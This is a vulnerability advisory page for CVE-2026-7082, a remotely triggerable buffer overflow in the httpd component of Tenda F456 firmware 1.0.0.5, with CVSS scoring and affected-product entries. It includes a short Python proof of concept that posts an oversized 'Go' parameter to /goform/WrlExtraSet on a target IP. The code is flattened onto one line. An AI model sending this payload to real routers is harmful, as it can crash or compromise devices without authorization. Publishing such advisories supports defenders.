Security Vulnerability Report
中文
CVE-2026-7082 CVSS 8.8 HIGH

CVE-2026-7082

Published: 2026-04-27 04:16:10
Last Modified: 2026-04-30 14:28:51

Description

A flaw has been found in Tenda F456 1.0.0.5. Affected by this vulnerability is the function formWrlExtraSet of the file /goform/WrlExtraSet of the component httpd. Executing a manipulation of the argument Go can lead to buffer overflow. The attack can be executed remotely. The exploit has been published and may be used.

CVSS Details

CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:tenda:f456_firmware:1.0.0.5:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:tenda:f456:-:*:*:*:*:*:*:* - NOT VULNERABLE
Tenda F456 1.0.0.5

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests def exploit(target_ip): url = f"http://{target_ip}/goform/WrlExtraSet" # Payload pattern to trigger buffer overflow # 'A' * 1000 is an example, actual offset may vary payload = { "Go": "A" * 1000 } try: print(f"Sending exploit payload to {target_ip}...") response = requests.post(url, data=payload, timeout=5) if response.status_code == 200: print("Request sent successfully.") else: print(f"Request failed with status code: {response.status_code}") except Exception as e: print(f"An error occurred: {e}") if __name__ == "__main__": target = "192.168.0.1" # Replace with actual target IP exploit(target)

References

Raw JSON Data

JSON
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